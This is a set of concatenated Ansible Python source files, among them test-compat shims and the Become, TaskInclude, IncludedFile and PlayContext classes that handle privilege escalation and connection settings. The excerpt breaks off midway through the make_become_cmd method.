'''
import sys

# Python 2.7

# Note: Could use the pypi mock library on python3.x as well as python2.x.  It
# is the same as the python3 stdlib mock library

try:
    from unittest.mock import *
except ImportError:
    # Python 2
    try:
        from mock import *
    except ImportError:
        print('You need the mock library installed on python2.x to run tests')


# Prior to 3.4.4, mock_open cannot handle binary read_data
if sys.version_info >= (3,) and sys.version_info < (3, 4, 4):
    file_spec = None

    def _iterate_read_data(read_data):
        # Helper for mock_open:
        # Retrieve lines from read_data via a generator so that separate calls to
        # readline, read, and readlines are properly interleaved
        sep = b'\n' if isinstance(read_data, bytes) else '\n'
        data_as_list = [l + sep for l in read_data.split(sep)]

        if data_as_list[-1] == sep:
            # If the last line ended in a newline, the list comprehension will have an
            # extra entry that's just a newline.  Remove this.
            data_as_list = data_as_list[:-1]
        else:
            # If there wasn't an extra newline by itself, then the file being
            # emulated doesn't have a newline to end the last line  remove the
            # newline that our naive format() added
            data_as_list[-1] = data_as_list[-1][:-1]

        for line in data_as_list:
            yield line

    def mock_open(mock=None, read_data=''):
        """
        A helper function to create a mock to replace the use of `open`. It works
        for `open` called directly or used as a context manager.

        The `mock` argument is the mock object to configure. If `None` (the
        default) then a `MagicMock` will be created for you, with the API limited
        to methods or attributes available on standard file handles.

        `read_data` is a string for the `read` methoddline`, and `readlines` of the
        file handle to return.  This is an empty string by default.
        """
        def _readlines_side_effect(*args, **kwargs):
            if handle.readlines.return_value is not None:
                return handle.readlines.return_value
            return list(_data)

        def _read_side_effect(*args, **kwargs):
            if handle.read.return_value is not None:
                return handle.read.return_value
            return type(read_data)().join(_data)

        def _readline_side_effect():
            if handle.readline.return_value is not None:
                while True:
                    yield handle.readline.return_value
            for line in _data:
                yield line

        global file_spec
        if file_spec is None:
            import _io
            file_spec = list(set(dir(_io.TextIOWrapper)).union(set(dir(_io.BytesIO))))

        if mock is None:
            mock = MagicMock(name='open', spec=open)

        handle = MagicMock(spec=file_spec)
        handle.__enter__.return_value = handle

        _data = _iterate_read_data(read_data)

        handle.write.return_value = None
        handle.read.return_value = None
        handle.readline.return_value = None
        handle.readlines.return_value = None

        handle.read.side_effect = _read_side_effect
        handle.readline.side_effect = _readline_side_effect()
        handle.readlines.side_effect = _readlines_side_effect

        mock.return_value = handle
        return mock






# (c) 2014, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

'''
Compat module for Python2.7's unittest module
'''

import sys

# Python 2.6
if sys.version_info < (2, 7):
    try:
        # Need unittest2 on python2.6
        from unittest2 import *
    except ImportError:
        print('You need unittest2 installed on python2.6.x to run tests')
else:
    from unittest import *






# (c) 2014, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

'''
This module contains things that are only needed for compat in the testsuites,
not in ansible itself.  If you are not installing the test suite, you can
safely remove this subdirectory.
'''

#
# Compat for python2.7
#

# One unittest needs to import builtins via __import__() so we need to have
# the string that represents it
try:
    import __builtin__
except ImportError:
    BUILTINS = 'builtins'
else:
    BUILTINS = '__builtin__'







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible import constants as C
from ansible.errors import AnsibleError, AnsibleParserError
from ansible.playbook.attribute import Attribute, FieldAttribute

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

class Become:

    # Privilege escalation
    _become              = FieldAttribute(isa='bool')
    _become_method       = FieldAttribute(isa='string')
    _become_user         = FieldAttribute(isa='string')

    def __init__(self):
        return super(Become, self).__init__()

    def _detect_privilege_escalation_conflict(self, ds):

        # Fail out if user specifies conflicting privilege escalations
        has_become = 'become' in ds or 'become_user'in ds
        has_sudo   = 'sudo' in ds or 'sudo_user' in ds
        has_su     = 'su' in ds or 'su_user' in ds

        if has_become:
            msg = 'The become params ("become", "become_user") and'
            if has_sudo:
                raise AnsibleParserError('%s sudo params ("sudo", "sudo_user") cannot be used together' % msg)
            elif has_su:
                raise AnsibleParserError('%s su params ("su", "su_user") cannot be used together' % msg)
        elif has_sudo and has_su:
            raise AnsibleParserError('sudo params ("sudo", "sudo_user") and su params ("su", "su_user") cannot be used together')

    def _preprocess_data_become(self, ds):
        """Preprocess the playbook data for become attributes

        This is called from the Base object's preprocess_data() method which
        in turn is called pretty much anytime any sort of playbook object
        (plays, tasks, blocks, etc) is created.
        """

        self._detect_privilege_escalation_conflict(ds)

        # Privilege escalation, backwards compatibility for sudo/su
        if 'sudo' in ds or 'sudo_user' in ds:
            ds['become_method'] = 'sudo'
            if 'sudo' in ds:
                ds['become'] = ds['sudo']
                del ds['sudo']

            if 'sudo_user' in ds:
                ds['become_user'] = ds['sudo_user']
                del ds['sudo_user']

            display.deprecated("Instead of sudo/sudo_user, use become/become_user and make sure become_method is 'sudo' (default)")

        elif 'su' in ds or 'su_user' in ds:
            ds['become_method'] = 'su'
            if 'su' in ds:
                ds['become'] = ds['su']
                del ds['su']

            if 'su_user' in ds:
                ds['become_user'] = ds['su_user']
                del ds['su_user']

            display.deprecated("Instead of su/su_user, use become/become_user and set become_method to 'su' (default is sudo)")

        return ds

    def set_become_defaults(self, become, become_method, become_user):
        ''' if we are becoming someone else, but some fields are unset,
            make sure they're initialized to the default config values  '''
        if become:
            if become_method is None:
                become_method = C.DEFAULT_BECOME_METHOD
            if become_user is None:
                become_user = C.DEFAULT_BECOME_USER

    def _get_attr_become(self):
        '''
        Override for the 'become' getattr fetcher, used from Base.
        '''
        if hasattr(self, '_get_parent_attribute'):
            return self._get_parent_attribute('become')
        else:
            return self._attributes['become']

    def _get_attr_become_method(self):
        '''
        Override for the 'become_method' getattr fetcher, used from Base.
        '''
        if hasattr(self, '_get_parent_attribute'):
            return self._get_parent_attribute('become_method')
        else:
            return self._attributes['become_method']

    def _get_attr_become_user(self):
        '''
        Override for the 'become_user' getattr fetcher, used from Base.
        '''
        if hasattr(self, '_get_parent_attribute'):
            return self._get_parent_attribute('become_user')
        else:
            return self._attributes['become_user']






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import itertools

from ansible.compat.six import string_types
from ansible.errors import AnsibleError
from ansible.playbook.attribute import FieldAttribute
from ansible.playbook.base import Base

class LoopControl(Base):

    _loop_var = FieldAttribute(isa='str')

    def __init__(self):
        super(LoopControl, self).__init__()

    @staticmethod
    def load(data, variable_manager=None, loader=None):
        t = LoopControl()
        return t.load_data(data, variable_manager=variable_manager, loader=loader)







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.playbook.attribute import FieldAttribute
from ansible.playbook.task import Task

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

__all__ = ['TaskInclude']


class TaskInclude(Task):

    """
    A task include is derived from a regular task to handle the special
    circumstances related to the `- include: ...` task.
    """

    # =================================================================================
    # ATTRIBUTES

    _static = FieldAttribute(isa='bool', default=None)

    def __init__(self, block=None, role=None, task_include=None):
        super(TaskInclude, self).__init__(block=block, role=role, task_include=task_include)
        self.statically_loaded = False

    @staticmethod
    def load(data, block=None, role=None, task_include=None, variable_manager=None, loader=None):
        t = TaskInclude(block=block, role=role, task_include=task_include)
        return t.load_data(data, variable_manager=variable_manager, loader=loader)

    def copy(self, exclude_parent=False, exclude_tasks=False):
        new_me = super(TaskInclude, self).copy(exclude_parent=exclude_parent, exclude_tasks=exclude_tasks)
        new_me.statically_loaded = self.statically_loaded
        return new_me

    def get_vars(self):
        '''
        We override the parent Task() classes get_vars here because
        we need to include the args of the include into the vars as
        they are params to the included tasks.
        '''
        all_vars = dict()
        if self._parent:
            all_vars.update(self._parent.get_vars())

        all_vars.update(self.vars)
        all_vars.update(self.args)

        if 'tags' in all_vars:
            del all_vars['tags']
        if 'when' in all_vars:
            del all_vars['when']

        return all_vars







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.errors import AnsibleError
from ansible.playbook.task_include import TaskInclude
from ansible.template import Templar

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

class IncludedFile:

    def __init__(self, filename, args, task):
        self._filename = filename
        self._args     = args
        self._task     = task
        self._hosts    = []

    def add_host(self, host):
        if host not in self._hosts:
            self._hosts.append(host)

    def __eq__(self, other):
        return other._filename == self._filename and other._args == self._args

    def __repr__(self):
        return "%s (%s): %s" % (self._filename, self._args, self._hosts)

    @staticmethod
    def process_include_results(results, tqm, iterator, inventory, loader, variable_manager):
        included_files = []

        def get_original_host(host):
            if host.name in inventory._hosts_cache:
                return inventory._hosts_cache[host.name]
            else:
                return inventory.get_host(host.name)

        for res in results:

            original_host = res._host
            original_task = res._task

            if original_task.action == 'include':
                if original_task.loop:
                    if 'results' not in res._result:
                        continue
                    include_results = res._result['results']
                else:
                    include_results = [ res._result ]

                for include_result in include_results:
                    # if the task result was skipped or failed, continue
                    if 'skipped' in include_result and include_result['skipped'] or 'failed' in include_result:
                        continue

                    task_vars = variable_manager.get_vars(loader=loader, play=iterator._play, host=original_host, task=original_task)
                    templar = Templar(loader=loader, variables=task_vars)

                    include_variables = include_result.get('include_variables', dict())
                    loop_var = 'item'
                    if original_task.loop_control:
                        loop_var = original_task.loop_control.loop_var or 'item'
                    if loop_var in include_result:
                        task_vars[loop_var] = include_variables[loop_var] = include_result[loop_var]

                    include_file = None
                    if original_task:
                        if original_task.static:
                            continue

                        if original_task._parent:
                            # handle relative includes by walking up the list of parent include
                            # tasks and checking the relative result to see if it exists
                            parent_include = original_task._parent
                            cumulative_path = None
                            while parent_include is not None:
                                if not isinstance(parent_include, TaskInclude):
                                    parent_include = parent_include._parent
                                    continue
                                parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                                if cumulative_path is None:
                                    cumulative_path = parent_include_dir
                                elif not os.path.isabs(cumulative_path):
                                    cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                                include_target = templar.template(include_result['include'])
                                if original_task._role:
                                    new_basedir = os.path.join(original_task._role._role_path, 'tasks', cumulative_path)
                                    include_file = loader.path_dwim_relative(new_basedir, 'tasks', include_target)
                                else:
                                    include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                                if os.path.exists(include_file):
                                    break
                                else:
                                    parent_include = parent_include._parent

                    if include_file is None:
                        if original_task._role:
                            include_target = templar.template(include_result['include'])
                            include_file = loader.path_dwim_relative(original_task._role._role_path, 'tasks', include_target)
                        else:
                            include_file = loader.path_dwim(include_result['include'])

                    include_file = templar.template(include_file)
                    inc_file = IncludedFile(include_file, include_variables, original_task)

                    try:
                        pos = included_files.index(inc_file)
                        inc_file = included_files[pos]
                    except ValueError:
                        included_files.append(inc_file)

                    inc_file.add_host(original_host)

        return included_files






# -*- coding: utf-8 -*-

# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import pipes
import pwd
import random
import re
import string

from ansible.compat.six import iteritems, string_types
from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.playbook.attribute import FieldAttribute
from ansible.playbook.base import Base
from ansible.utils.boolean import boolean

__all__ = ['PlayContext']

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

# the magic variable mapping dictionary below is used to translate
# host/inventory variables to fields in the PlayContext
# object. The dictionary values are tuples, to account for aliases
# in variable names.

MAGIC_VARIABLE_MAPPING = dict(
   connection       = ('ansible_connection',),
   remote_addr      = ('ansible_ssh_host', 'ansible_host'),
   remote_user      = ('ansible_ssh_user', 'ansible_user'),
   port             = ('ansible_ssh_port', 'ansible_port'),
   accelerate_port  = ('ansible_accelerate_port',),
   password         = ('ansible_ssh_pass', 'ansible_password'),
   private_key_file = ('ansible_ssh_private_key_file', 'ansible_private_key_file'),
   pipelining       = ('ansible_ssh_pipelining', 'ansible_pipelining'),
   shell            = ('ansible_shell_type',),
   become           = ('ansible_become',),
   become_method    = ('ansible_become_method',),
   become_user      = ('ansible_become_user',),
   become_pass      = ('ansible_become_password','ansible_become_pass'),
   become_exe       = ('ansible_become_exe',),
   become_flags     = ('ansible_become_flags',),
   ssh_common_args  = ('ansible_ssh_common_args',),
   docker_extra_args= ('ansible_docker_extra_args',),
   sftp_extra_args  = ('ansible_sftp_extra_args',),
   scp_extra_args   = ('ansible_scp_extra_args',),
   ssh_extra_args   = ('ansible_ssh_extra_args',),
   sudo             = ('ansible_sudo',),
   sudo_user        = ('ansible_sudo_user',),
   sudo_pass        = ('ansible_sudo_password', 'ansible_sudo_pass'),
   sudo_exe         = ('ansible_sudo_exe',),
   sudo_flags       = ('ansible_sudo_flags',),
   su               = ('ansible_su',),
   su_user          = ('ansible_su_user',),
   su_pass          = ('ansible_su_password', 'ansible_su_pass'),
   su_exe           = ('ansible_su_exe',),
   su_flags         = ('ansible_su_flags',),
   executable       = ('ansible_shell_executable',),
   module_compression = ('ansible_module_compression',),
)

SU_PROMPT_LOCALIZATIONS = [
    'Password',
    '암호',
    'パスワード',
    'Adgangskode',
    'Contraseña',
    'Contrasenya',
    'Hasło',
    'Heslo',
    'Jelszó',
    'Lösenord',
    'Mật khẩu',
    'Mot de passe',
    'Parola',
    'Parool',
    'Pasahitza',
    'Passord',
    'Passwort',
    'Salasana',
    'Sandi',
    'Senha',
    'Wachtwoord',
    'ססמה',
    'Лозинка',
    'Парола',
    'Пароль',
    'गुप्तशब्द',
    'शब्दकूट',
    'సంకేతపదము',
    'හස්පදය',
    '密码',
    '密碼',
]

TASK_ATTRIBUTE_OVERRIDES = (
    'become',
    'become_user',
    'become_pass',
    'become_method',
    'connection',
    'docker_extra_args',
    'delegate_to',
    'no_log',
    'remote_user',
)

RESET_VARS = (
    'ansible_connection',
    'ansible_docker_extra_args',
    'ansible_ssh_host',
    'ansible_ssh_pass',
    'ansible_ssh_port',
    'ansible_ssh_user',
    'ansible_ssh_private_key_file',
    'ansible_ssh_pipelining',
    'ansible_user',
    'ansible_host',
    'ansible_port',
)

class PlayContext(Base):

    '''
    This class is used to consolidate the connection information for
    hosts in a play and child tasks, where the task may override some
    connection/authentication information.
    '''

    # connection fields, some are inherited from Base:
    # (connection, port, remote_user, environment, no_log)
    _docker_extra_args  = FieldAttribute(isa='string')
    _remote_addr      = FieldAttribute(isa='string')
    _password         = FieldAttribute(isa='string')
    _private_key_file = FieldAttribute(isa='string', default=C.DEFAULT_PRIVATE_KEY_FILE)
    _timeout          = FieldAttribute(isa='int', default=C.DEFAULT_TIMEOUT)
    _shell            = FieldAttribute(isa='string')
    _ssh_args         = FieldAttribute(isa='string', default=C.ANSIBLE_SSH_ARGS)
    _ssh_common_args  = FieldAttribute(isa='string')
    _sftp_extra_args  = FieldAttribute(isa='string')
    _scp_extra_args   = FieldAttribute(isa='string')
    _ssh_extra_args   = FieldAttribute(isa='string')
    _connection_lockfd= FieldAttribute(isa='int')
    _pipelining       = FieldAttribute(isa='bool', default=C.ANSIBLE_SSH_PIPELINING)
    _accelerate       = FieldAttribute(isa='bool', default=False)
    _accelerate_ipv6  = FieldAttribute(isa='bool', default=False, always_post_validate=True)
    _accelerate_port  = FieldAttribute(isa='int', default=C.ACCELERATE_PORT, always_post_validate=True)
    _executable       = FieldAttribute(isa='string', default=C.DEFAULT_EXECUTABLE)
    _module_compression = FieldAttribute(isa='string', default=C.DEFAULT_MODULE_COMPRESSION)

    # privilege escalation fields
    _become           = FieldAttribute(isa='bool')
    _become_method    = FieldAttribute(isa='string')
    _become_user      = FieldAttribute(isa='string')
    _become_pass      = FieldAttribute(isa='string')
    _become_exe       = FieldAttribute(isa='string')
    _become_flags     = FieldAttribute(isa='string')
    _prompt           = FieldAttribute(isa='string')

    # backwards compatibility fields for sudo/su
    _sudo_exe         = FieldAttribute(isa='string')
    _sudo_flags       = FieldAttribute(isa='string')
    _sudo_pass        = FieldAttribute(isa='string')
    _su_exe           = FieldAttribute(isa='string')
    _su_flags         = FieldAttribute(isa='string')
    _su_pass          = FieldAttribute(isa='string')

    # general flags
    _verbosity        = FieldAttribute(isa='int', default=0)
    _only_tags        = FieldAttribute(isa='set', default=set())
    _skip_tags        = FieldAttribute(isa='set', default=set())
    _check_mode       = FieldAttribute(isa='bool', default=False)
    _force_handlers   = FieldAttribute(isa='bool', default=False)
    _start_at_task    = FieldAttribute(isa='string')
    _step             = FieldAttribute(isa='bool', default=False)
    _diff             = FieldAttribute(isa='bool', default=False)

    def __init__(self, play=None, options=None, passwords=None, connection_lockfd=None):

        super(PlayContext, self).__init__()

        if passwords is None:
            passwords = {}

        self.password    = passwords.get('conn_pass','')
        self.become_pass = passwords.get('become_pass','')

        self.prompt      = ''
        self.success_key = ''

        # a file descriptor to be used during locking operations
        self.connection_lockfd = connection_lockfd

        # set options before play to allow play to override them
        if options:
            self.set_options(options)

        if play:
            self.set_play(play)

    def set_play(self, play):
        '''
        Configures this connection information instance with data from
        the play class.
        '''

        # special handling for accelerated mode, as it is set in a separate
        # play option from the connection parameter
        self.accelerate = play.accelerate
        self.accelerate_ipv6 = play.accelerate_ipv6
        self.accelerate_port = play.accelerate_port

        if play.connection:
            self.connection = play.connection

        if play.remote_user:
            self.remote_user = play.remote_user

        if play.port:
            self.port = int(play.port)

        if play.become is not None:
            self.become = play.become
        if play.become_method:
            self.become_method = play.become_method
        if play.become_user:
            self.become_user = play.become_user

        if play.force_handlers is not None:
            self.force_handlers = play.force_handlers

    def set_options(self, options):
        '''
        Configures this connection information instance with data from
        options specified by the user on the command line. These have a
        lower precedence than those set on the play or host.
        '''

        # privilege escalation
        self.become        = options.become
        self.become_method = options.become_method
        self.become_user   = options.become_user

        self.check_mode = boolean(options.check)

        # get ssh options FIXME: make these common to all connections
        for flag in ['ssh_common_args', 'docker_extra_args', 'sftp_extra_args', 'scp_extra_args', 'ssh_extra_args']:
            setattr(self, flag, getattr(options,flag, ''))

        # general flags (should we move out?)
        for flag in ['connection','remote_user', 'private_key_file', 'verbosity', 'force_handlers', 'step', 'start_at_task', 'diff']:
            attribute = getattr(options, flag, False)
            if attribute:
                setattr(self, flag, attribute)

        if hasattr(options, 'timeout') and options.timeout:
            self.timeout = int(options.timeout)

        # get the tag info from options, converting a comma-separated list
        # of values into a proper list if need be. We check to see if the
        # options have the attribute, as it is not always added via the CLI
        if hasattr(options, 'tags'):
            if isinstance(options.tags, list):
                self.only_tags.update(options.tags)
            elif isinstance(options.tags, string_types):
                self.only_tags.update(options.tags.split(','))

        if len(self.only_tags) == 0:
            self.only_tags = set(['all'])

        if hasattr(options, 'skip_tags'):
            if isinstance(options.skip_tags, list):
                self.skip_tags.update(options.skip_tags)
            elif isinstance(options.skip_tags, string_types):
                self.skip_tags.update(options.skip_tags.split(','))

    def set_task_and_variable_override(self, task, variables, templar):
        '''
        Sets attributes from the task if they are set, which will override
        those from the play.
        '''

        new_info = self.copy()

        # loop through a subset of attributes on the task object and set
        # connection fields based on their values
        for attr in TASK_ATTRIBUTE_OVERRIDES:
            if hasattr(task, attr):
                attr_val = getattr(task, attr)
                if attr_val is not None:
                    setattr(new_info, attr, attr_val)

        # next, use the MAGIC_VARIABLE_MAPPING dictionary to update this
        # connection info object with 'magic' variables from the variable list.
        # If the value 'ansible_delegated_vars' is in the variables, it means
        # we have a delegated-to host, so we check there first before looking
        # at the variables in general
        if task.delegate_to is not None:
            # In the case of a loop, the delegated_to host may have been
            # templated based on the loop variable, so we try and locate
            # the host name in the delegated variable dictionary here
            delegated_host_name = templar.template(task.delegate_to)
            delegated_vars = variables.get('ansible_delegated_vars', dict()).get(delegated_host_name, dict())

            delegated_transport = C.DEFAULT_TRANSPORT
            for transport_var in MAGIC_VARIABLE_MAPPING.get('connection'):
                if transport_var in delegated_vars:
                    delegated_transport = delegated_vars[transport_var]
                    break

            # make sure this delegated_to host has something set for its remote
            # address, otherwise we default to connecting to it by name. This
            # may happen when users put an IP entry into their inventory, or if
            # they rely on DNS for a non-inventory hostname
            for address_var in MAGIC_VARIABLE_MAPPING.get('remote_addr'):
                if address_var in delegated_vars:
                    break
            else:
                display.debug("no remote address found for delegated host %s\nusing its name, so success depends on DNS resolution" % delegated_host_name)
                delegated_vars['ansible_host'] = delegated_host_name

            # reset the port back to the default if none was specified, to prevent
            # the delegated host from inheriting the original host's setting
            for port_var in MAGIC_VARIABLE_MAPPING.get('port'):
                if port_var in delegated_vars:
                    break
            else:
                if delegated_transport == 'winrm':
                    delegated_vars['ansible_port'] = 5986
                else:
                    delegated_vars['ansible_port'] = C.DEFAULT_REMOTE_PORT

            # and likewise for the remote user
            for user_var in MAGIC_VARIABLE_MAPPING.get('remote_user'):
                if user_var in delegated_vars and delegated_vars[user_var]:
                    break
            else:
                delegated_vars['ansible_user'] = task.remote_user or self.remote_user
        else:
            delegated_vars = dict()

            # setup shell
            for exe_var in MAGIC_VARIABLE_MAPPING.get('executable'):
                if exe_var in variables:
                    setattr(new_info, 'executable', variables.get(exe_var))

        attrs_considered = []
        for (attr, variable_names) in iteritems(MAGIC_VARIABLE_MAPPING):
            for variable_name in variable_names:
                if attr in attrs_considered:
                    continue
                # if delegation task ONLY use delegated host vars, avoid delegated FOR host vars
                if task.delegate_to is not None:
                    if isinstance(delegated_vars, dict) and variable_name in delegated_vars:
                        setattr(new_info, attr, delegated_vars[variable_name])
                        attrs_considered.append(attr)
                elif variable_name in variables:
                    setattr(new_info, attr, variables[variable_name])
                    attrs_considered.append(attr)
                # no else, as no other vars should be considered

        # become legacy updates -- from commandline
        if not new_info.become_pass:
            if new_info.become_method == 'sudo' and new_info.sudo_pass:
               setattr(new_info, 'become_pass', new_info.sudo_pass)
            elif new_info.become_method == 'su' and new_info.su_pass:
               setattr(new_info, 'become_pass', new_info.su_pass)

        # become legacy updates -- from inventory file (inventory overrides
        # commandline)
        for become_pass_name in MAGIC_VARIABLE_MAPPING.get('become_pass'):
            if become_pass_name in variables:
                break
        else:  # This is a for-else
            if new_info.become_method == 'sudo':
                for sudo_pass_name in MAGIC_VARIABLE_MAPPING.get('sudo_pass'):
                    if sudo_pass_name in variables:
                        setattr(new_info, 'become_pass', variables[sudo_pass_name])
                        break
            if new_info.become_method == 'sudo':
                for su_pass_name in MAGIC_VARIABLE_MAPPING.get('su_pass'):
                    if su_pass_name in variables:
                        setattr(new_info, 'become_pass', variables[su_pass_name])
                        break

        # make sure we get port defaults if needed
        if new_info.port is None and C.DEFAULT_REMOTE_PORT is not None:
            new_info.port = int(C.DEFAULT_REMOTE_PORT)

        # if the final connection type is local, reset the remote_user value
        # to that of the currently logged in user, to ensure any become settings
        # are obeyed correctly
        if new_info.connection == 'local':
            new_info.remote_user = pwd.getpwuid(os.getuid()).pw_name

        # special overrides for the connection setting
        if len(delegated_vars) > 0:
            # in the event that we were using local before make sure to reset the
            # connection type to the default transport for the delegated-to host,
            # if not otherwise specified
            for connection_type in MAGIC_VARIABLE_MAPPING.get('connection'):
                if connection_type in delegated_vars:
                    break
            else:
                remote_addr_local  = new_info.remote_addr in C.LOCALHOST
                inv_hostname_local = delegated_vars.get('inventory_hostname') in C.LOCALHOST
                if remote_addr_local and inv_hostname_local:
                    setattr(new_info, 'connection', 'local')
                elif getattr(new_info, 'connection', None) == 'local' and (not remote_addr_local or not inv_hostname_local):
                    setattr(new_info, 'connection', C.DEFAULT_TRANSPORT)

        # set no_log to default if it was not previouslly set
        if new_info.no_log is None:
            new_info.no_log = C.DEFAULT_NO_LOG

        # set become defaults if not previouslly set
        task.set_become_defaults(new_info.become, new_info.become_method, new_info.become_user)

        if task.always_run:
            display.deprecated("always_run is deprecated. Use check_mode = no instead.", version="2.4", removed=False)
            new_info.check_mode = False

        # check_mode replaces always_run, overwrite always_run if both are given
        if task.check_mode is not None:
            new_info.check_mode = task.check_mode


        return new_info

    def make_become_cmd(self, cmd, executable=None):
        """ helper function to create privilege escalation commands """

        prompt      = None
        success_key = None
        self.prompt = None

        if self.become:

            if not executable:
                executable = self.executable

            becomecmd   = None
            randbits    = ''.join(random.choice(string.ascii_lowercase) for x in range(32))
            success_key = 'BECOME-SUCCESS-%s' % randbits
